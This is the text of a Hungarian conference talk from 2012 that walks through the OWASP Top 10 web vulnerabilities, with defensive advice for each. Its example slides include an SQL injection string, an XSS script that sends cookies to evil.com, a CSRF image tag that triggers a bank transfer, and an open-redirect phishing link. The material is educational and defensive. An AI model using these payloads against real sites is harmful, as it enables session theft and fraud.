Az előadás 2012. november 28.-án az OWASP Day Hungary konferencián hangzott el. Célja a web-alkalmazásokat érintő 10 legjelentősebb sérülékenység bemutatása.

1. OWASP TOP10
Azaz a 10 legkritikusabb hiba web-alkalmazásokban
2012. November 28.

2. Bemutatkozás
• Prém Dániel
Tanszéki mérnök az Óbudai Egyetemen.
Az iSec Newton Security csoport egyik vezetője.
prem.daniel@nik.uni-obuda.hu

3. A TOP10 bemutatása
A projekt célja, hogy összegyűjtse egy dokumentumba a webes
alkalmazásokat érintő tíz legjelentősebb sérülékenységi fajtát és
ezáltal segítséget nyújtson a szervezeteknek, hogy biztonságosabb
programkódot készíthessenek.
Az első lista 2003-ban látott napvilágot, majd frissítették 2004-ben, a
következő kiadás 2007-ben debütált és a jelenlegi utolsó verzió
2010. április 19.-én került a nyilvánosság elé.
A dokumentum eredeti nyelve angol, de lefordították
francia, német, olasz, spanyol, kínai, japán, koreai, indonéz, vietnámi
és héber nyelvre!

4. A TOP10 felhasználói
• U.S. Defense Information Systems Agency
• U.S. Federal Trade Commission
• Payment Card Industry (PCI)
• British Telecom
• Citibank
• HP
• IBM Global Services
• Symantec
• És még sokan mások…

5. A TOP10-es lista áttekintése
https://www.owasp.org/index.php/Top_10

6. A1: Injection
• A befecskendezés lényege, hogy adatokat vagy
utasításokat juttatunk be az alkalmazáson keresztül a
parancsértelmezőnek
• SQL, LDAP, XPath, OS Shell, kódbefecskendezés, stb…
• Sajnos a mai napig igen elterjedt (főleg az SQL Injection)
azonban elég egyszerűen elkerülhető lenne megfelelő
odafigyeléssel
• Az elmúlt években olyan szervezetek estek áldozatul
ennek a támadási formának mint a
Sony, LinkedIn, eHarmony és a Yahoo

7. A1: Injection
1. Hacker Hanry betölti az oldalt
2. Majd a támadást az űrlapba
beírja és beküldi a szerverre
3. Az alkalmazás felépíti az SQL
lekérdezést és továbbítja az
adatbázis felé
4. Az adatbázis lefuttatja a
módosított lekérdezést és az
adatokat visszaküldi az
alkalmazásnak
5. Az alkalmazás kiadja az
SELECT * FROM `users`
user #1: Kiss Béla, kiss.bela@email.hu, … adatokat, jóváhagyja a
user #2: Nagy Nóra,= '' OR 1=1 --' …
WHERE `name` nora.nagy@webcim.hu, hozzáférést, lefuttatja az
AND `pass` = '';
… utasításokat…
user #n: Tóth Péter, pepe@webmail.hu, …

8. A1: Injection
• Javaslatok:
– Alkalmazzunk megfelelő bemeneti paraméter
ellenőrzést (pl.: típus, hossz, érték, stb…)
– Ahol csak tehetjük, alkalmazzunk White List alapú
ellenőrzést a bemenő adatokon
– Használjunk jól bevált technikákat, mint a
Prepared Statements vagy Stored Procedures
– A kiosztott adatbázis jogosultságot minimalizáljuk
• Bővebben:
http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

9. A2: Cross-Site Scripting (XSS)
• A támadás a felhasználók böngészőjében hajtódik végre
• Lehet tárolt, tükrözött és DOM alapú
• Szinte biztosan található minden web-alkalmazásban XSS
sérülékenység…
• Tipikusan a felhasználói munkamenet vagy
érzékeny/személyes adatok megszerzésére használatos. De
előfordul, hogy segítségével módosítják a weboldal
tartamát, esetleg a látogatót átirányítják egy adathalász
oldalra
• Az elmúlt időszakban olyan honlapokban találtak XSS
hibákat, mint az iwiw.hu, ebay.com, cnn.com, adobe.com,
amazon.com, microsoft.com, myspace.com

10. A2: Cross-Site Scripting (XSS)
Tárolt XSS 1. Hacker Hanry betölti az oldalt
és az ártó kódját beküldi az
alkalmazásnak
2. Alice betölti az alkalmazást a
tárolt kóddal együtt
3. Alice böngészője lefuttatja a
kódot és kiszolgáltatja az
adatokat vagy módosítja a
honlap szerkezét mivel a teljes
DOM elérhető
<script> 4. Hacker Hanry letölti a
document.write( szerverről milyen adatokat
”<img src=’http://evil.com?q=” gyűjtött össze…
+ document.cookie + ”’ alt=’’ />” );
</script>

11. A2: Cross-Site Scripting (XSS)
• Javaslatok:
– Ne használjuk fel (és ne jelenítsük meg) közvetlenül a
felhasználók által bevitt adatokat
– Alkalmazzunk kimeneti kódolást (pl.: HTML entitások)
minden felhasználói adatra
– Ha bejövő HTML adatot kell kezelni, akkor pedig
minden esetben meg kell tisztítani az adatokat
http://www.owasp.org/index.php/AntiSamy
• Bővebben:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)
_Prevention_Cheat_Sheet

12. A3: Broken Authentication and
Session Management
• Az alkalmazások a felhasználók hitelesítését és munkamenet kezelését
gyakran nem megfelelően hajtják végre, így lehetővé teszik a támadóknak,
hogy megszerezzék esetleg kitalálják a jelszavakat és munkamenet
azonosítókat, vagy egyéb végrehajtási hibákat kihasználva
megszemélyesítsenek egy felhasználót.
– A bejelentkezést sok esetben titkosított csatornán (SSL) lehet elvégezni, azonban ez
sokszor nem kényszerített, tehát lehallgatható
– Másik alapvető hiba, hogy munkamenet azonosító védelméről is megfeledkezünk. Tudni
kell, hogy kinek adtuk oda, meddig érvényes, stb…
– Egy hacker szemszögéből szinte lényegtelen, hogy a felhasználónév és jelszó párost szerzi
meg vagy a munkamenet azonosítót, hiszen mind a kettő segítségével meg tudja
személyesíteni az áldozatot
– Természetesen ide tartozik még a gyenge jelszó kezelés, azaz nincs minimális hossz, vagy
nincs megkövetelve a jelszó komplexitás
– Valamint a nem kellő körültekintéssel megtervezett jelszó emlékeztető

13. A3: Broken Authentication and
Session Management
Lehallgatás:
1. Hacker Hanry monitorozza a
www.site.com?JSESSION=93C6A... hálózati forgalmat
2. Alice bejelentkezik az
alkalmazásba
3. Hacker Hanry megszerezte
Alice belépési adatait
Munkamenet eltérítés:
1. Alice munkamenetét az oldal
URL-ben adja vissza
2. Alice kattint egy linkre, amit
egy bejegyzésben talált
(pl.: http://www.evil.com)
3. Hacker Hanry letölti a napló
referer tartalmát
3. Hacker Hanry megszemélyesíti
Alicet a munkament birtokában

14. A3: Broken Authentication and
Session Management
• Javaslatok:
– A beléptetés legyen egyszerű, centralizált és standardizált
– Ügyeljünk arra, hogy a belépési adatokat és a munkamenet
azonosítót mindig SSL csatornával védjük
– Felejtsük el az automatizált sérülékenység vizsgálati
eszközöket
– Ellenőrizzük az SSL tanúsítvány hitelességét és
érvényességét
– Bizonyosodjunk meg arról, hogy a kilépés biztosan
megszünteti a munkamenetet és a benne tárolt adatokat
• Bővebben:
https://www.owasp.org/index.php/Authentication_Cheat_Sheet
https://www.owasp.org/index.php/Session_Management_Cheat_Sheet

15. A4: Insecure Direct Object
References
• Akkor fordul elő, amikor egy hivatkozást helyezünk el egy
állományra, oldalra, könyvtárra vagy bármilyen objektumra,
anélkül, hogy bármilyen hozzáférés vezérlést alkalmaznánk
• Ez a téma érinti a jogosultság kezelést és az A8-as URL
hozzáférés korlátozásának hiányának fejezetét
• Gyakori hiba, hogy csak azokat a tartalmakat listázzuk,
amelyhez a felhasználónak joga van. Azonban a szerver
oldalon amikor a konkrét kérés végrehajtódik ezt már nem
ellenőrizzük újra. Így a támadó bármikor átírja az objektum
hivatkozást és olyan tartalomhoz is hozzáférhet, amelyhez
normál esetben nem lenne szabad

16. A4: Insecure Direct Object
References
https://onlinebank.com/overview? acc=4057
acc=4056 1. A felhasználó betölti a bank
online felületét
2. Hacker Hanry észreveszi, hogy
a saját azonosítója a 4057
3. Majd módosítja a paramétert
4. Végül Hacker Hanry megszerzi
áldozata számlaösszesítőjén
található információkat

17. A4: Insecure Direct Object
References
• Javaslatok:
– Kerüljük a Path Traversal, Local File Inclusion lehetőségét
– A közvetlen linkelés helyett alkalmazzunk valamilyen leképzési technikát:
http://webapp.com/get?file=SecretReport.pdf
http://webapp.com/get?file=C5LDJ28S832K
– Ellenőrizzük, hogy a paraméter megfelelő formátumú-e
– Minden esetben ellenőrizzük, hogy a felhasználó jogosult-e a tartalom
elérésre
– Ügyeljünk arra is, hogy csak a megfelelő műveletet végezhesse el az adott
objektummal a felhasználó (pl.: olvasás, írás, törlés)
• Bővebben:
https://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference

18. A5: Cross-Site Request Forgery
(CSRF)
• Ebben a támadásban a támadó ráveszi az áldozat böngészőjét, hogy
egy kérést intézzen a sérülékeny alkalmazás felé
• Ez a módszer azért sikeres, mert a böngésző minden kéréshez elküldi
az azonosítási adatokat is, mint pl.: Authentication Header, Session ID,
IP cím, Windows domain creditentials, stb…
• Továbbá az is hozzájárul, hogy az áldozat nem lép ki az alkalmazásból
• Az előző két pont hatásaként a támadó olyan kéréseket indíthat a
sérülékeny alkalmazás felé, amit az legitim forgalomnak fog értékelni
• Tipikusan arra használják, hogy átutalásokat kezdeményezzenek,
esetleg zároljanak egy fiókot, vagy bizalmas adatokhoz férjenek hozzá

19. A5: Cross-Site Request Forgery
(CSRF)
1. Hacker Hanry elhelyezi az
ártalmas kódot egy honlapon,
amit az áldozati is látogat
2. Alice meglátogatja a
sérülékeny
alkalmazást, viszont nem
3. jelentkezik ki Alice
Kicsivel később
meglátogatja azt az oldalt,
ahová Hacker Hanry beszúrta
az ártalmas kódját
4. Alice böngészője értelmezi a
kódot, majd egy legitimnek
tűnő kérést intéz a sérülékeny
alkalmazáshoz Alice nevében,
amit valójában Hacker Hanry
<img src=”http://mybank.com/transfer?
kezdeményezett…
amount=1500&dstAcc=4057” width=”0” height=”0” />

20. A5: Cross-Site Request Forgery
(CSRF)
• Javaslatok:
– Használjunk token rendszert, ahol érzékeny adatok feldolgozása
történik, ezáltal ellehetetlenítve a támadót, hogy kérést hamisítson
– A tokennek kriptográfiai erősségűnek vagy randomnak kell lennie
– Kerüljük a token URL-be helyezését, mert a referer mezővel kiolvasható
– Űrlapok esetében a rejtett mező erősen javasolt
– Minden egyes kérésnek egyedi tokenje legyen, lehetőleg lejárati idővel
– Használjunk másodlagos (kétfaktoros) authentikációt az érzékeny
műveletekhez
• Bővebben:
https://www.owasp.org/index.php/CSRF_Prevention_Cheat_Sheet

21. A6: Security Misconfiguration
• Az igazi biztonság megköveteli, hogy a teljes rendszer naprakész és
jól konfigurált legyen az operációs rendszertől a web és adatbázis
szerveren át a teljes alkalmazásig
• Mindezeket a beállításokat meg kell határozni, végre kell hajtani
majd folyamatosan karbantartani és ellenőrizni
• Fontos azt is tudni, hogy a gyártók a termékeket alapból nem a
biztonságos konfigurációval látják el, hiszen akkor a használatba
vétel igen nehézkes lenne. Emiatt azt későbbi beállításokkal kell
megteremteni
• Nem szabad megfeledkezni hogy nem csak az OS-t és az
alkalmazásokat kell ellenőrizni, hanem minden osztálykönyvtárat
és külső modult is amelyet az alkalmazás használ

22. A6: Security Misconfiguration

23. A6: Security Misconfiguration
• Javaslatok:
– Ellenőrizni kell a beállításokat minden szinten
– Javasolt a Hardening Guide-ok alkalmazása
– Az automatizálás ezen a ponton NAGYON HASZNOS lehet
– Tartsuk napra késszen a rendszereket a javításokkal, nem csak az
operációs rendszer és az alkalmazásokat, hanem minden osztálykönyvtárra
fordítsunk kellő figyelmet
– Elemezzük a változások biztonsági hatását
• Bővebben:
https://www.owasp.org/index.php/Configuration
https://www.owasp.org/index.php/Testing_for_configuration_management

24. A7: Insecure Cryptographic
Storage
• Elmulasztjuk meghatározni az érzékeny adatokat így általában
nem a kellő körültekintéssel kezeljük őket
• Valamint nem figyelünk eléggé, hogy minden előfordulási helyen
megfelelően kezeljük azokat
• Ebbe a részbe beletartozik:
– a gyenge titkosítás, ami miatt visszafejthető az adat
– a titkosítási kulcs nem megfelelő kezelése (pl.: a szalagos meghajtóra került
adatokat titkosítjuk, majd a kulcs ugyan arra a szalagra kerül)
– a hibásan implementált jelszó kivonatok, hiszen egy sózás nélküli hash akár
néhány óra alatt visszafejthető lehet
– a napló állományokba bekerült ellenőrizetlen adatok
(pl.: a webszerver naplójába letároljuk a felhasználói jelszavakat)

25. A7: Insecure Cryptographic
Storage
1. Az áldozat megadja a
bankkártya adatait az
alkalmazásnak
2. A hibanaplózó lementi a kérés
adatait a napló állományba,
mivel a Fizetési Átjáró nem
elérhető
3. Minden IT dolgozó számára
elérhetőek a napló
állományok a hibakeresés
céljából
4. Egy belső munkatárs máris
meglovasítja a naplóban
található 4 millió kártya
számot…

26. A7: Insecure Cryptographic
Storage
• Javaslatok:
– Azonosítsuk az érzékeny adatokat
– Azonosítsuk a helyeket ahova az érzékeny adatok kerülhetnek
– Védjük az adatokat és folyamatokat megfelelő titkosítással vagy
kivonatolással
– Használjunk standard és bizonyított eljárásokat ne találjunk ki sajátot,
mert az nem bizonyított
– A kulcsok kezelése legyen megoldva és kellő körültekintéssel kezelve
– Készüljünk fel kulcsserére
• Bővebben:
https://www.owasp.org/index.php/Top_10_2007-Insecure_Cryptographic_Storage
https://www.owasp.org/index.php/Guide_to_Cryptography
https://www.owasp.org/index.php/Codereview-Cryptography

27. A8: Failure to Restrict URL
Access
• Ez a téma kapcsolatban áll a jogosultság kezeléssel és az A4-es
fejezettel, ami a nem biztonságos közvetlen objektum hozzáférés címet
viselte
• Ez a fejezet viszont kifejezetten az alkalmazás oldalaira tér ki az URL
manipulálásával
• Az alapvető probléma, hogy a jogosultságokat a linkrendszerbe építik bele
és csak azokat a linkeket vagy menüket jelenítik meg a felhasználó számára
amihez joga van, azonban ha kézzel átírja a hivatkozásokat és a szerver
oldalon nem történik meg az újraellenőrzés, hogy ténylegesen jogosult-e a
tartalom megtekintésére vagy módosítására…

28. A8: Failure to Restrict URL
Access
https://onlinebank.com/ admin /overview
user 1. A felhasználó betölti a bank
online felületét
2. Hacker Hanry észreveszi, hogy
felhasználó szerepkörben van
3. Majd módosítja a
paramétert, ezáltal a
szerepkörét
4. Végül Hacker Hanry magasabb
jogkörre tesz szert, mint
alapból járna neki, így több
információhoz jut hozzá

29. A8: Failure to Restrict URL
Access
• Javaslatok:
– Minden oldalnak 3 dologra van szüksége:
• Ellenőrizze, hogy a felhasználó belépett-e (ha nem publikus a tartalom)
• Végre kell hajtani a felhasználói vagy a szerepkör alapú jogosultságkezelést
• Teljesen le kell tiltani a lehetőségét a jogosulatlan kérelmeknek, amelyek konfigurációs
állományokra, napló fájlokra vagy forrás állományokra irányulnak
– Alkalmazzunk White List féle megközelítést
– Az automatizált eszközök itt is sokszor gyengének bizonyulnak
• Bővebben:
https://www.owasp.org/index.php/Guide_to_Authorization
https://www.owasp.org/index.php/Testing_for_Path_Traversal
https://www.owasp.org/index.php/Forced_browsing

30. A9: Insufficient Transport Layer
Protection
• Az alkalmazások gyakran nem hitelesítik vagy titkosítják az érzékeny
adatokat a hálózati forgalomban, ezáltal sérül a bizalmasság és a
sértetlenség
• Ha mégis, akkor előfordul, hogy gyenge algoritmusokat, érvénytelen
tanúsítványokat használnak, esetleg nem megfelelően kezelik őket
• A támadó emiatt könnyűszerrel hozzáférhet olyan privát adatokhoz, mint
az infrastruktúra elemei, operációs rendszer adatok, felhasználói
azonosítók, bankkártya adatok, egészségügyi információk, pénzügyi
adatok, stb…
• A megszerzett adatokat későbbi támadáshoz felhasználhatja, de akár a
feketepiacon is eladhatja

31. A9: Insufficient Transport Layer
Protection
1. A külső támadó könnyedén
lehallgathatja a hálózati
forgalmat és megszerezheti a
belépési adatokat
2. Sok esetben csak a web
szerver és a kliens közötti
kapcsolat titkosított, ekkor
minden gond nélkül egy belső
támadó lehallgathatja az
alkalmazás és a backend
közötti forgalmat

32. A9: Insufficient Transport Layer
Protection
• Javaslatok:
– Alkalmazzunk TLS kapcsolatot mindenhol, ahol érzékeny adat közlekedik
– Egyenként minden üzenetet titkosítsunk
– Digitálisan írjuk alá az üzeneteket
– Standard algoritmusokat használjunk
– Megfelelően tároljuk a kulcsokat és a tanúsítványokat
– Ellenőrizzük az SSL tanúsítványokat mielőtt használjuk
• Bővebben:
https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet
https://www.owasp.org/index.php/Testing_for_SSL-TLS

33. A10: Avoiding Unvalidated
Redirects and Forwards
• A webes alkalmazások gyakran átirányítják (Redirect) vagy továbbítják
(Forward/Transfer) egy másik lapra a felhasználókat
• Megfelelő ellenőrzés nélkül a támadó ezt kihasználhatja és átirányíthatja a
felhasználót egy adathalász oldalra
• De akár egy továbbítás segítségével jogosulatlan tartalomhoz is
hozzáférhet a támadó, hiszen kikerülheti a hozzáférés vezérlés
mechanizmusát

34. A10: Avoiding Unvalidated
Redirects and Forwards
1. Hacker Hanry levelet küld az
Alice céges E-mail címére
2. Alice kattint a linkre, mivel
megbízik benne, hiszen jó
domain névre mutat
3. Az alkalmazás nem ellenőrzi a
redirect paramétert tehát szól
Alice böngészőjének, hogy
átirányítja a következő lapra,
ami jelen esetben egy
adathalász oldal
From: noreply@nav.hu 4. Alice böngészője betölti az
http://nav.gov.hu/ado?ev=2012
To: alice@cegem.hu adathalász oldalt
&...&redirect=www.adathalasz.hu
Subject: Nem várt adó visszatérítés 5. Alice megbízik az adathalász
oldalban, hiszen az előbb
A nyilvántartásunk szerint Önnek lehetősége van adó visszatérítést ellenőrizte az címet és
igényelnie! A folyamat elkezdéséhez kérjük kattintson ide. kinézete is megegyezik az
eredetivel

35. A10: Avoiding Unvalidated
Redirects and Forwards
• Javaslatok:
– Minimalizáljuk az átirányítások számát az alkalmazásban
– Ha alkalmazzuk, akkor kerüljük a felhasználói paraméterben megadható
átirányításokat
– Ha elkerülhetetlen a paraméteres átirányítás akkor mindig ellenőrizzük,
hogy a felhasználó jogosult-e az átirányított oldalt elérni
– Külső átirányítás esetén ellenőrizzük, hogy a cél szerepel-e a fehérlistán
• Bővebben:
https://www.owasp.org/index.php/Open_redirect

36. Hogyan lehet megoldani ezeket
a problémákat?
• Fejlesszünk biztonságos kódot
– OWASP’s Guide to Building Secure Web Applications
http://www.owasp.org/index.php/Guide
– OWASP’s Application Security Verification Standard
http://www.owasp.org/index.php/ASVS
– OWASP’s Enterprise Security API
http://www.owasp.org/index.php/ESAPI
• Ellenőrizzük az alkalmazást
– Legyen egy szakértői csoport aki átnézi az alkalmazást
– OWASP's Code Review Guide
http://www.owasp.org/index.php/Code_Review_Guide
– OWASP's Testing Guide
http://www.owasp.org/index.php/Testing_Guide

37. KÖSZÖNÖM A FIGYELMET